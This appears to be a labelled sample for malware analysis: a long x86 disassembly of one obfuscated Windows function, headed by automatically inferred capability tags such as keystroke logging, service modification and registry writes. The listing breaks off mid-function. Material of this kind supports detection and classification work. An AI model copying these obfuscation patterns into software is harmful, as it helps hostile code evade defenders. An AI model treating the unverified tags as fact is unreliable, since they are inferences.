Function at 0x10032e84
Capabilities:
Accept command line arguments
Delete directory
Enumerate gui resources
Get common file path
Get disk information
Get file attributes
Get graphical window text
Get system information on windows
Log keystrokes via polling
Modify service
Parse pe header
Set registry value

Disassembly:
mov eax, 0x10086250
call fcn.100848f0
mov eax, 0x16ac
call fcn.100810a0
push ebx
push esi
push edi
mov dword [ebp - 0x74], ecx
lea ecx, [ebp - 0x960]
mov dword [ebp - 0x30], 0x7ddc85f7
push 2
mov byte [ebp - 0x59], dl
call fcn.100184ce
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10032ee2
push dword [ebp - 0x10]
lea ecx, [ebp - 0x960]
call fcn.1001856c
mov dword [eax], 0xfffe
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10032ec3
xor eax, eax
push 0xffffffffffffffff
pop edi
push 1
mov dword [ebp - 0x30], eax
pop esi
jmp 0x10032f95
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x58], eax
jmp 0x10032f89
mov dword [ebp - 0x44], 0xa77c874
mov dword [ebp - 0x44], esi
cmp dword [ebp - 0x44], eax
jl 0x10032f86
mov dword [ebp - 0x10], 0x58a835a
mov dword [ebp - 0x10], esi
cmp dword [ebp - 0x10], eax
jl 0x10032f70
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x40], eax
jl 0x10032f53
push dword [ebp - 0x10]
lea ecx, [ebp - 0x960]
call fcn.1001856c
push dword [ebp - 0x40]
lea ecx, [ebp - 0x960]
mov esi, dword [eax]
neg esi
call fcn.1001856c
mov dword [eax], esi
mov eax, dword [ebp - 0x10]
dec dword [ebp - 0x40]
jns 0x10032f24
xor esi, esi
xor eax, eax
inc esi
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10032f6b
push 0x1fed
push eax
push eax
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
xor eax, eax
dec dword [ebp - 0x10]
jns 0x10032f19
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10032f81
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
xor eax, eax
dec dword [ebp - 0x44]
jns 0x10032f0a
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], esi
jle 0x10032efb
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffff4
jge 0x10032ef0
lea ecx, [ebp - 0x960]
mov dword [ebp - 4], edi
call fcn.10018550
mov ebx, 0x75c9
or ecx, 0xffffffff
mov dword [ebp - 0x38], ebx
xor eax, eax
mov dword [ebp - 0x38], 0xfffffffa
mov dword [ebp - 0x38], esi
mov esi, 0x1fc3eee2
mov dword [ebp - 0x38], edi
mov edi, 0xf7d65121
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x38], 0x9d94b4b1
mov dword [ebp - 0x38], 0xf1eb32a8
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x7858
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x38], 0x90c54408
mov dword [ebp - 0x38], 0x55f07c70
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 2
mov dword [ebp - 0x38], 0x145714ff
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 3
push 4
mov dword [ebp - 0x38], 0xfffffff7
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x1058]
pop eax
push eax
call fcn.100184ce
xor eax, eax
inc eax
mov dword [ebp - 4], eax
or eax, 0xffffffff
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x38], 0xd4752e4a
mov dword [ebp - 0x38], 0x7fc7
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], eax
push 4
pop eax
cmp dword [ebp - 0x10], eax
jge 0x10033088
push eax
pop ebx
push dword [ebp - 0x10]
lea ecx, [ebp - 0x1058]
call fcn.1001856c
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003306a
mov ebx, 0x75c9
dec dword [ebp - 0x34]
lea ecx, [ebp - 0x1058]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10018550
mov dword [ebp - 0x38], ebx
xor eax, eax
mov dword [ebp - 0x38], 0xfffffffa
or ecx, 0xffffffff
inc eax
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x38], 0x9d94b4b1
mov dword [ebp - 0x38], 0xf1eb32a8
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x7858
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x38], 0x90c54408
mov dword [ebp - 0x38], 0x55f07c70
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 2
mov dword [ebp - 0x38], 0x145714ff
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 3
push 4
mov dword [ebp - 0x38], 0xfffffff7
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x107c]
pop eax
push eax
call fcn.100184ce
mov dword [ebp - 4], 2
or eax, 0xffffffff
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x38], 0xd4752e4a
mov dword [ebp - 0x38], 0x7fc7
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], eax
push 4
pop eax
cmp dword [ebp - 0x10], eax
jge 0x1003316c
push eax
pop ebx
push dword [ebp - 0x10]
lea ecx, [ebp - 0x107c]
call fcn.1001856c
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003314e
mov ebx, 0x75c9
dec dword [ebp - 0x34]
lea ecx, [ebp - 0x107c]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10018550
mov dword [ebp - 0x38], ebx
xor eax, eax
mov dword [ebp - 0x38], 0xfffffffa
inc eax
mov dword [ebp - 0x38], eax
or eax, 0xffffffff
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], esi
or esi, eax
mov dword [ebp - 0x38], edi
xor eax, eax
mov dword [ebp - 0x38], 0x9d94b4b1
mov dword [ebp - 0x38], 0xf1eb32a8
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x7858
push 6
pop ecx
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0xee4]
mov dword [ebp - 0x38], 0x90c54408
mov dword [ebp - 0x38], 0x55f07c70
mov dword [ebp - 0x38], eax
push 3
mov dword [ebp - 0x38], 2
pop edi
mov dword [ebp - 0x38], 0x145714ff
mov dword [ebp - 0x38], eax
push 4
mov dword [ebp - 0x38], edi
pop eax
mov dword [ebp - 0x38], 0xfffffff7
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x38], esi
push eax
call fcn.100184ce
mov dword [ebp - 4], edi
xor eax, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x38], 0xd4752e4a
mov dword [ebp - 0x38], 0x7fc7
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], eax
push 4
pop eax
cmp dword [ebp - 0x10], eax
jge 0x10033249
push eax
pop ebx
push dword [ebp - 0x10]
lea ecx, [ebp - 0xee4]
call fcn.1001856c
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003322b
mov ebx, 0x75c9
dec dword [ebp - 0x34]
lea ecx, [ebp - 0xee4]
mov dword [ebp - 4], esi
call fcn.10018550
mov dword [ebp - 0x24], 0xfc3eee2f
push 8
pop eax
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x34], 0xe5741311
mov dword [ebp - 0x34], 5
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10033294
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x100332a4
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
inc eax
cmp eax, 9
mov eax, dword [ebp - 0x24]
push edi
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 0x32a8
setg al
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x24]
mov eax, 0xfff7
neg edx
sbb edx, edx
inc edx
cmp dword [ebp - 0x24], eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp edx, eax
setge cl
xor esi, esi
inc esi
cmp esi, ecx
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xae8]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x49fcfbce
call fcn.100184ce
push 4
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x10033350
push dword [ebp - 0x10]
lea ecx, [ebp - 0xae8]
call fcn.1001856c
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10033335
xor eax, eax
cmp eax, dword [ebp - 0x24]
je 0x10033377
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
test eax, eax
sets cl
xor eax, eax
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x34], eax
je 0x10033370
mov eax, esi
jmp 0x10033372
xor eax, eax
cmp eax, dword [ebp - 0x24]
jne 0x10033380
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x24], eax
je 0x10033382
mov ecx, esi
mov eax, dword [ebp - 0x24]
add eax, ecx
je 0x10033394
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10033396
mov edi, esi
jmp 0x10033398
xor eax, eax
mov edi, eax
push esi
lea ecx, [ebp - 0xae8]
call fcn.1001856c
mov edx, dword [ebp - 0x24]
mov esi, eax
mov ecx, dword [ebp - 0x24]
xor eax, eax
cmp edx, ecx
mov ecx, dword [ebp - 0x24]
setle al
xor edx, edx
cmp edi, ecx
setg dl
xor ecx, ecx
cmp eax, edx
setg cl
xor edx, edx
imul ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
mov dword [esi], ecx
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x100333fe
push 0x1670
push eax
push 0x2524
push 0xcdd
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
or eax, 0xffffffff
lea ecx, [ebp - 0xae8]
mov dword [ebp - 4], eax
call fcn.10018550
push 4
pop esi
mov dword [ebp - 0x1c], 0x398
lea ecx, [ebp - 0x29c]
push esi
call fcn.100184ce
xor eax, eax
mov dword [ebp - 4], 5
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10033451
push dword [ebp - 0x10]
lea ecx, [ebp - 0x29c]
call fcn.1001856c
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10033436
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10033466
push 0xb0b
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp eax, edx
setg cl
neg ecx
jne 0x10033487
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x29c]
mov esi, dword [ebp - 0x1c]
xor edi, edi
inc edi
push edi
call fcn.1001856c
mov ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
mov dword [eax], esi
mov eax, dword [ebp - 0x1c]
inc ecx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp esi, ecx
setg al
imul eax, dword [ebp - 0x1c]
test eax, eax
je 0x10033559
mov dword [ebp - 0x10], edi
lea ecx, [ebp - 0x29c]
mov dword [ebp - 0x34], 0x205300ce
mov dword [ebp - 0x4c], 0x14a9c79e
push edi
call fcn.1001856c
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax]
jg 0x1003350f
push edi
lea ecx, [ebp - 0x29c]
call fcn.1001856c
push edi
lea ecx, [ebp - 0x29c]
mov esi, eax
call fcn.1001856c
mov ecx, dword [eax]
mov dword [esi], ecx
mov ecx, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
push edi
setle dl
lea ecx, [ebp - 0x29c]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
call fcn.1001856c
push edi
lea ecx, [ebp - 0x29c]
call fcn.1001856c
mov ecx, dword [ebp - 0x10]
imul ecx, dword [eax]
mov eax, 0x9ef8169c
cmp eax, ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x4c], eax
jmp 0x10033641
or eax, 0xffffffff
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x10033586
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xcb0], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1003356d
xor eax, eax
cmp dword [ebp - 0xcac], eax
je 0x100335bb
push edi
lea ecx, [ebp - 0x29c]
call fcn.1001856c
push edi
lea ecx, [ebp - 0x29c]
mov dword [eax], 0x7a2e255b
call fcn.1001856c
xor edi, edi
cmp dword [eax], edi
je 0x100335b9
xor eax, eax
lea esi, [eax + 1]
jmp 0x100335bf
xor eax, eax
mov esi, eax
xor edi, edi
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp eax, 0xbec1
mov eax, dword [ebp - 0xcac]
push 8
setne dl
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setne cl
xor eax, eax
cmp esi, ecx
setle al
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xcac]
mov ecx, dword [ebp - 0x34]
sub ecx, eax
neg ecx
pop eax
sbb ecx, ecx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
sbb ecx, ecx
inc ecx
sub ecx, eax
jne 0x10033622
xor eax, eax
lea ecx, [ebp - 0x29c]
inc eax
push eax
call fcn.1001856c
cmp dword [eax], edi
jne 0x10033622
xor edi, edi
xor eax, eax
inc edi
jmp 0x10033627
xor edi, edi
inc edi
mov eax, edi
mov dword [ebp - 0x4c], eax
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10033641
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
or esi, 0xffffffff
lea ecx, [ebp - 0x29c]
mov dword [ebp - 4], esi
call fcn.10018550
push 2
mov dword [ebp - 0x38], ebx
lea ecx, [ebp - 0x158]
pop ebx
push ebx
call fcn.100184ce
push 6
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x20], 0xa70a1ee3
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x34], 0xfffffffd
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x100336a6
push dword [ebp - 0x24]
lea ecx, [ebp - 0x158]
call fcn.1001856c
mov dword [eax], 7
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10033688
xor eax, eax
push 4
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x100336c9
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xbc], 0x13532fe2
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x100336b1
xor eax, eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], edi
jg 0x100338ec
mov dword [ebp - 0x1c], 0xd4a79744
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x34], 0x5d07
push dword [ebp - 0xb0]
call fcn.1001856c
lea ecx, [ebp - 0x158]
cmp dword [eax], 0xbebf0a0c
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
push dword [ebp - 0xb0]
call fcn.1001856c
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x158]
xor eax, eax
push eax
call fcn.1001856c
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x158]
call fcn.1001856c
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x158]
call fcn.1001856c
mov eax, dword [ebp - 0xb0]
lea ecx, [ebp - 0x158]
push dword [ebp - 0xb0]
call fcn.1001856c
mov eax, dword [ebp - 0xb0]
xor ecx, ecx
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
cmp eax, 0xfb29
setg cl
imul eax, ecx, 0x90d
add eax, 0x2cd50b27
je 0x1003379b
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x158]
call fcn.1001856c
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x158]
push dword [ebp - 0xb0]
call fcn.1001856c
mov eax, dword [eax]
add eax, 0x565e7fbb
jne 0x100337bf
mov ecx, eax
cmp dword [ebp - 0x34], eax
je 0x100337c1
mov ecx, edi
mov eax, dword [ebp - 0x20]
sub ecx, eax
je 0x100337ce
mov eax, dword [ebp - 0xb0]
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x158]
call fcn.1001856c
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1003395b
mov dword [ebp - 0x4c], edi
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x44], edi
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0xbc]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
sbb edx, edx
neg edx
cmp eax, edx
setne cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x1c], eax
jl 0x10033846
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x158]
call fcn.1001856c
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x158]
mov esi, eax
call fcn.1001856c
mov ecx, dword [esi]
mov dword [eax], ecx
dec dword [ebp - 0x1c]
jns 0x1003381f
xor eax, eax
mov dword [ebp - 0x44], edi
cmp dword [ebp - 0x44], eax
jne 0x1003385a
mov edx, eax
cmp dword [ebp - 0xb8], eax
je 0x1003385c
mov edx, edi
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xb0]
push edi
setge cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0xb8]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x158]
call fcn.1001856c
mov ecx, dword [ebp - 0x1c]
cmp dword [eax], ecx
jle 0x10033899
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x158]
call fcn.1001856c
mov eax, dword [ebp - 0xb0]
xor ecx, ecx
cmp eax, 0xffff57f4
mov eax, dword [ebp - 0xb0]
setge cl
add eax, ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0xb0]
cmp dword [ebp - 0xb0], edi
jle 0x100336db
or esi, 0xffffffff
lea ecx, [ebp - 0x158]
mov dword [ebp - 4], esi
call fcn.10018550
mov dword [ebp - 0x38], 0xfffffffa
lea ecx, [ebp - 0xb00]
mov dword [ebp - 0x2c], 0x5c68ec0a
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x4c], ebx
push ebx
call fcn.100184ce
xor eax, eax
mov dword [ebp - 4], 7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10033948
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb00]
call fcn.1001856c
push 6
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003392b
xor eax, eax
mov dword [ebp - 0x2c], 3
cmp dword [ebp - 0x2c], 0xffffffe5
jg 0x10033a7c
jmp 0x1003397b
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1003396b
call dword [sym.imp.USER32.dll_DestroyCaret]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x100338d7
jmp 0x10033848
xor eax, eax
movdqa xmm0, xmmword [0x10007c20]
lea ecx, [ebp - 0x156c]
mov dword [ebp - 0x20], 0x3bc6
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x1424]
push eax
lea eax, [ebp - 0x1434]
mov dword [ebp - 0x3c], 0xfffffff7
push eax
movdqu xmmword [ebp - 0x1434], xmm0
call fcn.1001857b
lea ecx, [ebp - 0x248]
mov esi, eax
call fcn.10008c23
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x1154]
push dword [esi]
call fcn.1001852a
push 8
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x44], 0x44262821
cmp dword [ebp - 0x20], eax
je 0x10033a19
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 9
je 0x100339fa
mov esi, edi
cmp dword [ebp - 0x2c], eax
jne 0x100339fc
mov esi, eax
push 3
lea ecx, [ebp - 0x1154]
call fcn.1001856c
mov ecx, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, esi
setne dl
mov dword [eax], edx
mov edx, edi
jmp 0x10033a1b
mov edx, eax
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x20]
setle cl
xor edx, edx
neg ecx
cmp ecx, 0x61718bc6
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setne bl
xor ecx, ecx
cmp eax, ebx
setl cl
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x1154]
mov byte [ebp - 4], 7
call fcn.10018550
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe5
jle 0x10033979
or esi, 0xffffffff
push edi
lea ecx, [ebp - 0xb00]
call fcn.1001856c
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 4], esi
mov dword [eax], ecx
lea ecx, [ebp - 0xb00]
call fcn.10018550
mov dword [ebp - 0x38], edi
lea ecx, [ebp - 0x3d4]
push edi
call fcn.100184ce
push edi
lea ecx, [ebp - 0x828]
mov dword [ebp - 4], 9
call fcn.100184ce
xor eax, eax
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], edi
jge 0x10033ae9
push dword [ebp - 0x48]
lea ecx, [ebp - 0x3d4]
call fcn.1001856c
mov dword [eax], 0xf2f4a8b1
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], edi
jl 0x10033acb
xor eax, eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jge 0x10033b0b
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x664], 0x9d94b4b1
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 3
jl 0x10033af2
xor eax, eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], edi
jge 0x10033b2e
push dword [ebp - 0x48]
lea ecx, [ebp - 0x828]
call fcn.1001856c
and dword [eax], 0
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], edi
jl 0x10033b13
xor eax, eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], edi
jge 0x10033b4e
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x20c], 0x7374fd52
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], edi
jl 0x10033b36
xor eax, eax
push eax
lea ecx, [ebp - 0x3d4]
call fcn.1001856c
lea ecx, [ebp - 0x3d4]
mov eax, dword [eax]
mov dword [ebp - 0x664], eax
xor eax, eax
push eax
call fcn.1001856c
mov esi, eax
lea ecx, [ebp - 0x3d4]
xor eax, eax
push eax
call fcn.1001856c
xor ebx, ebx
mov ecx, dword [eax]
add ecx, dword [esi]
cmp ecx, dword [ebp - 0x664]
lea ecx, [ebp - 0x828]
setge bl
xor eax, eax
push eax
mov dword [ebp - 0x4c], ebx
call fcn.1001856c
lea ecx, [ebp - 0x3d4]
mov dword [eax], ebx
xor eax, eax
push eax
call fcn.1001856c
mov ecx, dword [ebp - 0x4c]
xor ebx, ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0x3d4]
setne bl
xor eax, eax
push eax
call fcn.1001856c
cmp ebx, dword [eax]
jg 0x10033c84
mov dword [ebp - 0x2c], 0xfffffffc
lea ecx, [ebp - 0xd94]
mov dword [ebp - 0x44], edi
push 3
call fcn.100184ce
xor eax, eax
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x10033c15
push dword [ebp - 0x10]
lea ecx, [ebp - 0xd94]
call fcn.1001856c
mov dword [eax], 0x311e2db8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10033bf6
xor eax, eax
mov dword [ebp - 0x2c], 0xffffffec
jmp 0x10033c41
cmp dword [ebp - 0x2c], eax
je 0x10033c35
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x44]
cmp dword [ebp - 0x44], eax
jge 0x10033c33
mov eax, edi
jmp 0x10033c35
xor eax, eax
mov dword [ebp - 0x660], eax
inc dword [ebp - 0x2c]
push 0
pop eax
cmp dword [ebp - 0x2c], 9
jle 0x10033c1e
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x3d4]
mov dword [ebp - 0x2c], eax
xor eax, eax
push eax
call fcn.1001856c
mov ecx, dword [ebp - 0x2c]
xor ebx, ebx
push edi
cmp ecx, dword [eax]
lea ecx, [ebp - 0xd94]
setg bl
call fcn.1001856c
lea ecx, [ebp - 0xd94]
mov byte [ebp - 4], 0xa
mov dword [eax], ebx
call fcn.10018550
jmp 0x10033cb2
xor eax, eax
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x34], eax
xor ebx, ebx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x664]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
lea ecx, [ebp - 0x828]
setg bl
xor eax, eax
push eax
call fcn.1001856c
mov dword [eax], ebx
xor eax, eax
mov ebx, 0xfc0336ae
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], eax
jl 0x10033d0a
mov dword [ebp - 0x4c], 0x16709e14
lea ecx, [ebp - 0x828]
mov dword [ebp - 0x3c], 0x1636717b
mov dword [ebp - 0x4c], 0xe33ecdc0
mov eax, dword [ebp - 0x664]
mov dword [ebp - 0x4c], eax
xor eax, eax
push eax
call fcn.1001856c
xor ecx, ecx
mov dword [eax], ebx
mov eax, dword [ebp - 0x3c]
cmp eax, ebx
setle cl
mov dword [ebp - 0x4c], ecx
dec dword [ebp - 0x20c]
jns 0x10033cc7
lea ecx, [ebp - 0x828]
call fcn.10018550
or esi, 0xffffffff
lea ecx, [ebp - 0x3d4]
mov dword [ebp - 4], esi
call fcn.10018550
push 2
pop ebx
mov dword [ebp - 0x38], esi
lea ecx, [ebp - 0x978]
mov dword [ebp - 0x30], 0x7ddc85f7
push ebx
call fcn.100184ce
xor eax, eax
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10033d6e
push dword [ebp - 0x10]
lea ecx, [ebp - 0x978]
call fcn.1001856c
mov dword [eax], 0xfffe
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10033d50
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x10033e1b
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x58], eax
jmp 0x10033e0f
mov dword [ebp - 0x44], 0xa77c874
mov dword [ebp - 0x44], edi
cmp dword [ebp - 0x44], eax
jl 0x10033e0c
mov dword [ebp - 0x10], 0x58a835a
mov dword [ebp - 0x10], edi
cmp dword [ebp - 0x10], eax
jl 0x10033df6
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x40], edi
cmp dword [ebp - 0x40], eax
jl 0x10033dd9
push dword [ebp - 0x10]
lea ecx, [ebp - 0x978]
call fcn.1001856c
push dword [ebp - 0x40]
lea ecx, [ebp - 0x978]
mov esi, dword [eax]
neg esi
call fcn.1001856c
